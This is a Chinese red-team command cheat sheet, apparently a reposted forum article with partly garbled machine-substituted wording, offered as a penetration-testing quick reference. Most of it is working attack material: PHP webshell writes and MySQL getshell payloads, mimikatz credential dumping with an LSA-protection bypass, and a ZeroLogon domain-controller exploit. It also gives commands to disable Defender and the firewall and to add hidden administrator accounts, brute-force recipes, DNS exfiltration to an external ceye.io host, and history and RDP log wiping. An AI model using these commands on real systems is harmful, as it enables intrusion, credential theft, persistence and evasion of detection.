HW红队常用下令速查大全(非常详细)零基础入门到醒目,收藏这一篇就够了 ...

打印 上一主题 下一主题

主题 975|帖子 975|积分 2925

一、常用下令
收集渗透中会用到的常用下令 。
建议直接[Ctrl+F]查找
java下令实行

如下编码网站:
https://ares-x.com/tools/runtime-exec/
https://r0yanx.com/tools/java_exec_encode/
https://www.bugku.net/runtime-exec-payloads/
手动编码操作
  1. bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i}
复制代码
下令实行,定位资源文件写文件回显

Linux
  1. find /|grep index.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done
复制代码
Windows(注意盘符)
  1. for /r D:\ %i in (index.js*) do whoami > %i/../test.txt  
复制代码
写shell

在windows中,批处理必要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”
在Linux中,必要转义字符主要是 单引号 大概双引号 对于单引号,我们将其替换为\47即可。
windows下令行最大长度为8191,16进制长度是113898。echo写文件时注意长度。
方法1
  1. set /p=qaxnb<nul>d:\1d13.txt
复制代码
方法2
  1. echo qaxnb>1we.txt
复制代码
追加内容
  1. echo qaxnb>>1we.txt
复制代码
不换行追加
  1. set /p="121d2">>a.txt
复制代码
规避空格
  1. echo.123>>a.txt  
  2. echo,123>>a.txt  
  3. type;a.txt
复制代码
写特殊字符很多的文件,可以用certutil编码再还原。如下还原
  1. certutil -f -decode 111.txt C:\\111.jsp  
  2. certutil -decodehex 111.txt C:\\111.jsp
复制代码
linux下base64
  1. echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
复制代码
php的
  1. echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
复制代码
绕过空格
  1. > < <> 重定向符  
  2. %09(需要php环境)  
  3. ${IFS}  
  4. $IFS$9  
  5. {cat,flag.php}  
  6. %20  
  7. %09
复制代码
windows打包目录

  1. powershell -Command "Compress-Archive -Path E:\update\ -DestinationPath E:\test.zip"
复制代码
匿名文件存储

可用下令行
https://transfer.sh/ 使用很简朴
  1. 上传,成功后返回随机路径  
  2. curl --upload-file ./hello.txt https://transfer.sh/hello.txt  
  3.   
  4. 获取  
  5. https://transfer.sh/fF6OA7aF8o/hello.txt  
  6.   
复制代码
nmap

  1. nmap -sn 10.11.1.0/24
复制代码
  1. nmap -sV -p- 10.11.1.0
复制代码
  1. nmap 10.11.1.0 --script vuln
复制代码
  1. nmap -p445 10.11.1.0 --script smb-vuln-ms17-010
复制代码
  1. nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt
复制代码
nmap 极速扫描,快如闪电
  1. nmap -n --unique --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1  
  2. nmap -n --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1
复制代码
获取http title
  1. nmap -n --resolve-all -Pn --min-hostgroup  --max-retries 3 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate 10000 --script=http-title -T4 -p- -iL domain.txt
复制代码
masscan

注意速率题目,根据带宽调整。100m带宽可调3000,注意是vps,不是家庭宽带。
关于编译,直接git拉下来,make就行。生成的文件在bin下面。
扫描单ip
  1. masscan 192.168.1.110 -p 1-65535 --rate=1000
复制代码
扫描列表
  1. masscan -iL ip.txt -p1-65535 --rate=1000 -oL port.txt
复制代码
分析,提取ip:port
  1. cat port.txt |awk '{print $4":"$3}'
复制代码
转换为nmap可用端口
  1. cat p.txt | tr "\n" ,
复制代码
端口列表

  1. 22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899  
  2.   
  3. 21-23,80-90,135,137,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2375,2376,2601,2604,3128,3306,3311,3312,3389,4440,4848,5001,5432,5560,5900-5902,6082,6379,7001-7010,7778,8009,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,51111,50030,50060  
  4.   
  5. 20-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50050,50300,50389,50500,50636,50800,51111,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389  
复制代码
字典

  1. top200``123456``password``123456789``12345678``12345``qwerty``123123``111111``abc123``1234567``dragon``1q2w3e4r``sunshine``654321``master``1234``football``1234567890``000000``computer``666666``superman``michael``internet``iloveyou``daniel``1qaz2wsx``monkey``shadow``jessica``letmein``baseball``whatever``princess``abcd1234``123321``starwars``121212``thomas``zxcvbnm``trustno1``killer``welcome``jordan``aaaaaa``123qwe``freedom``password1``charlie``batman``jennifer``7777777``michelle``diamond``oliver``mercedes``benjamin``11111111``snoopy``samantha``victoria``matrix``george``alexander``secret``cookie``asdfgh``987654321``123abc``orange``fuckyou``asdf1234``pepper``hunter``silver``joshua``banana``1q2w3e``chelsea``1234qwer``summer``qwertyuiop``phoenix``andrew``q1w2e3r4``elephant``rainbow``mustang``merlin``london``garfield``robert``chocolate``112233``samsung``qazwsx``matthew``buster``jonathan``ginger``flower``555555``test``caroline``amanda``maverick``midnight``martin``junior``88888888``anthony``jasmine``creative``patrick``mickey``123``qwerty123``cocacola``chicken``passw0rd``forever``william``nicole``hello``yellow``nirvana``justin``friends``cheese``tigger``mother``liverpool``blink182``asdfghjkl``andrea``spider``scooter``richard``soccer``rachel``purple``morgan``melissa``jackson``arsenal``222222``qwe123``gabriel``ferrari``jasper``danielle``bandit``angela``scorpion``prince``maggie``austin``veronica``nicholas``monster``dexter``carlos``thunder``success``hannah``ashley``131313``stella``brandon``pokemon``joseph``asdfasdf``999999``metallica``december``chester``taylor``sophie``samuel``rabbit``crystal``barney``xxxxxx``steven``ranger``patricia``christian``asshole``spiderman``sandra``hockey``angels``security``parker``heather``888888``victor``harley``333333``system``slipknot``november``jordan23``canada``tennis``qwertyui``casper
复制代码
Mimikatz

一条下令
  1. .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
复制代码
控制台实行多条下令,用log防止进程崩溃,数据丢失
  1. mimikatz # privilege::debug  
  2. mimikatz # log  
  3. mimikatz # sekurlsa::logonpasswords  
  4. mimikatz # sekurlsa::wdigest
复制代码
msf中实行下令
  1. mimikatz_command -f sekurlsa::logonPasswords full  
  2. mimikatz_command -f sekurlsa::wdigest
复制代码
注册表开启wdigest,08r2后默认关闭。必要目的注销,重新登录。2016必要重启。
  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
复制代码
bypass lsa Protection(ppl)

查询是否启用
  1. reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa  
复制代码
把mimidriver.sys拷贝到同级目录,进行加载bypass
  1. mimikatz # !+  
  2. mimikatz # !processprotect /process:lsass.exe /remove  
  3. mimikatz # privilege::debug      
  4. mimikatz # token::elevate  
  5. mimikatz # sekurlsa::logonpasswords  
  6. mimikatz # !processprotect /process:lsass.exe  
  7. mimikatz # !-
复制代码
cs凭据分析

提取用户名
  1. awk -F":::" '{print $1}' credentials.txt | awk -F"\" '{print $2}'
复制代码
提取hash
  1. awk -F":::" '{print $2}' credentials.txt
复制代码
存活主机

  1. for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr "TTL="
复制代码
bypass

Defender清除项
  1. powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test"  
复制代码
gobuster

  1. gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt
复制代码
dirsearch

  1. python3 dirsearch.py -e php,html,js -u https://target
复制代码
  1. python3 dirsearch.py -e php,html,js -u https://target
  2. -w /path/to/wordlist
复制代码
  1. python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20
复制代码
  1. python3 dirsearch.py -e php,html,js -u https://target
  2. --proxy 127.0.0.1:8080
复制代码
  1. python3 dirsearch.py -e php,html,js -u https://target
  2. --proxy socks5://10.10.0.1:8080
复制代码
nbtscan

  1. nbtscan.exe 10.11.1.0/24
复制代码
代理工具

proxychain
sockscap64
proxifier
https://drive.google.com/drive/folders/1x5naJeK2YkV6QCYUlUg5QNMl1Izf4-ti
https://www.mediafire.com/folder/32rj1769a2w82/v4.7
内网穿透工具

fuso



  • • https://github.com/editso/fuso.git
  • • 相对冷门,不会被杀 在9004上开启socks5代理 fuc.exe 159.138.0.0 9003 -h 127.0.0.1 -p 9004 -b 9004 -n test -t socks5 --bridge-host 0.0.0.0 --bridge-port 9004
frp

nps

https://github.com/ehang-io/nps
  1. sudo ./nps install  
  2. sudo nps start
复制代码
安装后设置文件位置/etc/nps,默认暗码(可在设置文件里面修改)admin/123
iox

Stowaway

https://github.com/lz520520/Stowaway
Venom

https://github.com/Dliv3/Venom
ssh

无记录shell
  1. ssh -T root@192.168.1.1 /usr/bin/bash -i
复制代码
grep

  1. grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
复制代码
  1. grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
复制代码
  1. grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
复制代码
  1. grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
复制代码
web应用
  1. grep -EHirn '--include=*.'{java,jsp,jspx,xml,conf,json,ini,properties,yaml,toml,plist,txt,sql} "accesskey|api_key|apikey|jdbc|username|pass|passwd|password" webapps/
复制代码
搜刮文件内的字符串
  1. grep -r "test" ./src  
  2.   
  3. 显示行号  
  4. grep -rn "test" ./src
复制代码
mysql

开长途
  1. use mysql;   
  2. update user set host = '%' where user = 'root';   
  3. FLUSH PRIVILEGES ;   
  4. select host, user from user;  
  5. mysql -uroot -p -e "select * from mysql.user;" >1.txt
复制代码
不登录直接实行sql
  1. mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt  
  2. mysql -uroot -e "show databases;" >1.txt
复制代码
mysql getshell
  1. show variables like '%secure%'      
  2. select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';   
  3. select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';  
复制代码
  1. set global general_log=on;   
  2. set global general_log_file='/var/www/1.php';   
  3. select '<?php eval($_POST[s6]) ?>';
复制代码
  1. select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php';  
复制代码
sqlmap

  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080"
复制代码
  1. python sqlmap.py  -u "http://www.vuln.cn" –cookie "id=11" --level 2
复制代码
  1. python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
复制代码
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  --dbs
复制代码
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  -D test --tables
复制代码
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  -D test -T admin –-columns
复制代码
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql -D test -T admin -C "username,password" --dump
复制代码
  1. python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"
复制代码
sql注入

mssql

堆叠注入,xpcmdshell
  1. http://www.vuln.cn/post.php?id=11;DECLARE/**/@ljbd/**/VARCHAR(8000);SET/**/@ljbd=0x70696e67202d6e6320312077772e36373332396163312e646e732e313433332e65752e6f7267;EXEC/**/master..xp_cmdshell/**/@ljbd--
复制代码
gitlab相关

进入控制台
  1. gitlab-rails console production  
  2. 如果没配置环境变量,cd到安装目录下  
  3.   
  4. /bin/rails console production  
  5.   
  6. 如果报错可用  
  7. ./rails console -e production
复制代码
修改暗码
  1. 通过用户名查找,赋值给user  
  2. user = User.where(username:"root").first  
  3.   
  4. 修改密码  
  5. user.password = "abc123"  
  6. user.password_confirmation= "abc123"  
  7. user.save!
复制代码
把用户设为admin
  1. 通过用户名查找,赋值给user  
  2. user = User.where(username:"test").first  
  3. user.admin=ture  
  4. user.save!
复制代码
新增用户参考:https://gist.github.com/tacettin/8182358
找可写目录

  1.   
  2. ### linux  
  3. #### 在/root  war文件的同目录下  
  4. 写  
  5. find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done  
  6. 删  
  7. find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done  
  8.   
  9. #### 在/root  war文件夹下  
  10. 写  
  11. find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done  
  12. 删  
  13. find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done  
  14.   
  15. ### windows  
  16. #### 在C:\Users\liulangmao\Desktop任意子目录  war.txt文件的同目录下  
  17. 写  
  18. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)  
  19. 删  
  20. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (del %i\..\finddir.txt)  
  21.   
  22. #### 在C:\Users\liulangmao\Desktop任意子目录  war文件夹下  
  23. 写  
  24. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (echo %i > %i\finddir.txt)  
  25. 删  
  26. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (del %i\finddir.txt)
复制代码
示例:在weblogic靶机/root 所有war文件夹下的finddir.txt文件中写入该war文件夹的路径。
  1. find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done  
复制代码
步伐名找启动路径
  1. wmic process where name='mysqld.exe' get processid,executablepath,name
复制代码
步伐pid找路径
  1. wmic process get name,executablepath,processid|findstr pid
复制代码
启动路径找login.jsp
  1. for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i)
复制代码
base64分段不换行追加写文件
  1. echo|set /p="PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==" > D:\UFGOV\U8\webapps\demonstrate.txt
复制代码
解决cmd无回显题目
  1. powershell Get-ChildItem C:
复制代码
hydra

  1. 参数:  
  2. -l 指定的用户名 -L 用户名字典  
  3. -p 指定密码 -P 密码字典  
  4. -s 指定端口   
  5. -o 输出文件  
  6. -t 任务数默认16  
  7. -f 爆破成功一个就停止  
  8. -v 报错日志详细 -V 攻击日志  
  9. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql  
  10. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4  
  11. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv  
  12. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V  
  13. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV  
  14. >hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10
复制代码
medusa

  1. 参数:  
  2. -h 目标名或IP  -H 目标列表  
  3. -u 用户名 -U 用户名字典  
  4. -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程  
  5. -n 指定端口 -e ns 尝试空密码和用户名密码相同  
  6. >medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql  
  7. >medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
复制代码
python交互shell

py3
  1. python3 -c "import pty;pty.spawn('/bin/bash')"
复制代码
py2
  1. python2 -c 'import pty;pty.spawn("/bin/sh")'  
  2.   
  3. python -c 'import pty;pty.spawn("/bin/bash")'
复制代码
用完记得清记录
  1. history -c
复制代码
无交互添加用户

  1. useradd newuser;echo "newuser:password"|chpasswd
复制代码
  1. useradd -p `openssl passwd 123456` guest
复制代码
  1. useradd -p "$(openssl passwd 123456)" guest
复制代码
  1. useradd newuwer;echo -e "123456\n123456\n" |passwd newuser
复制代码
windows

  1. net user admin$ Afabab@20 /add  
  2. net localgroup administrators admin$ /add  
  3.   
  4. net user guest /active:yes  
  5. net localgroup administrators guest /add  
  6.   
  7. Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组  
  8.   
  9. Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组
复制代码
防火墙

  1. 关闭防火墙  
  2.   
  3. netsh firewall set opmode mode=disable  
  4.   
  5. 放行远程8888端口进来的流量  
  6. netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow  
  7.   
  8. 放行出去到远程8888端口的流量  
  9. netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow  
  10.   
  11. 放行本地4444端口出去的流量  
  12. netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow  
  13.   
  14. 放行从本地4444端口进来的流量  
  15. netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow  
  16.   
  17. 删除规则  
  18. netsh advfirewall firewall delete rule name="88"  
  19.   
  20. 查看防火墙配置(可看到具体规则等配置)  
  21. netsh firewall show config  
  22.   
  23. 关闭windefebd  
  24. net stop windefend  
  25.   
  26. netsh firewall set portopening TCP 445 ENABLE //打开445端口      
  27. netsh firewall set portopening TCP 3389 ENABLE //开放终端   
  28. netsh firewall delete allowedprogram C:/A.exe //删除放行程序A.exe     
  29. netsh firewall set allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行     
  30. netsh firewall add allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行     
  31.   
  32. 新版本命令     
  33.   
  34. netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes     
  35. netsh advfirewall firewall add rule name="test" dir=out action=allow program="C:\windows\temp\update.exe" enable=yes   
复制代码
端口转发
把本地的 801 端口转发到长途的 172.23.80.14 的 80 端口
  1. netsh interface portproxy add v4tov4 listenport=801 connectport=80 connectaddress=172.23.80.14
复制代码
iptables 放行
  1. iptables -A INPUT -p tcp --dport 80 -j ACCEPT  
复制代码
frp常用设置

frpc.ini
  1. [common]  
  2. server_addr = xxxxxx  
  3. server_port = 7000  
  4.   
  5. [rdp]  
  6. type = tcp  
  7. local_port = 3389  
  8. remote_port = 3389  
  9.   
  10. [plugin_http_proxy]  
  11. type = tcp  
  12. remote_port = 10801  
  13. plugin = http_proxy  
  14.   
  15. [plugin_socks5]  
  16. type = tcp  
  17. remote_port = 1080  
  18. plugin = socks5  
复制代码
ZeroLogon



  • • 产生日记 4742(利用成功), 5580(利用失败)
  • • 流量特征显着
  • • 会被av直接秒
  • • 有可能会导致目的脱域
  • • 代理不稳,容易出题目
  1. git clone https://github.com/mstxq17/cve-2020-1472.git  
  2.    
  3. python3 zerologon_tester.py Dc02 172.23.119.120 域外检测  
  4.    
  5. PingCastle.exe --server 172.23.119.120 --scanner zerologon --scmode-dc 域内检测
复制代码
洞清空目的域控机器账户暗码
  1. python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120  
复制代码
无暗码长途提取 ntds.dit
  1. python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash
复制代码
用 administrator 域管账户 hash 长途导出域控机器账户 hash [hex 格式]
  1. python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/administrator@172.23.119.120
复制代码
用上面的 hex 还原目的域控机器账户暗码
  1. python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131***  
复制代码
删rdp日记

清除长途桌面毗连记录,创建clear.bat
  1. @echo off  
  2. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f  
  3. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f  
  4. reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"  
  5. cd %userprofile%\documents\attrib Default.rdp -s -h  
  6. del Default.rdp
复制代码
开3389

  1. 方法一  
  2. wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1  
  3. wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1  
  4. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f  
  5. net start TermService  
  6.   
  7. 方法二  
  8. #设置远程桌面端口  
  9. reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f  
  10. #开启远程桌面  
  11. wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1  
  12. #检查端口状态  
  13. netstat -an|find "3389"  
  14. #关闭远程桌面  
  15. wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
复制代码
文件搜刮

https://www.anquanke.com/post/id/245019
  1. findstr /s /i /n /d:C:\ /c:"123123" *.txt
复制代码
  1. for /r C: %i in (login.*) do @echo %i
复制代码
  1. where /R C: login.*
复制代码
  1. dir /s/a-d/b login.*
复制代码
  1. find / -name index.php
复制代码
  1. find / -name index.php
复制代码
  1. find / -name "index.php" | xargs grep "111222"
复制代码
  1. updatedb && locate index.php
复制代码
  1. 进程路径  
  2. wmic process get name,executablepath
复制代码
下令实行无回显外带oob

Windows

在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。
  1. echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io
复制代码
下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。
  1. for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)
复制代码
为什么在上面必要过滤=,主要是由于在实行ping下令的时间是不允许带=号的,相较于nslookup,ping下令成功率相对较高,但假如路径过长,可能会导致失败。具体多长必要大家自行试验。
  1. echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io
复制代码
假如必要外带多行下令,则必要以下语句:
  1. where /R C: login.*
  2. > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
复制代码
win常用变量
  1. //变量                     类型       描述  
  2. //%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。  
  3. //%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。  
  4. //%CD%                     本地       返回当前目录字符串。  
  5. //%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。  
  6. //%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。  
  7. //%COMPUTERNAME%           系统       返回计算机的名称。  
  8. //%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。  
  9. //%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。  
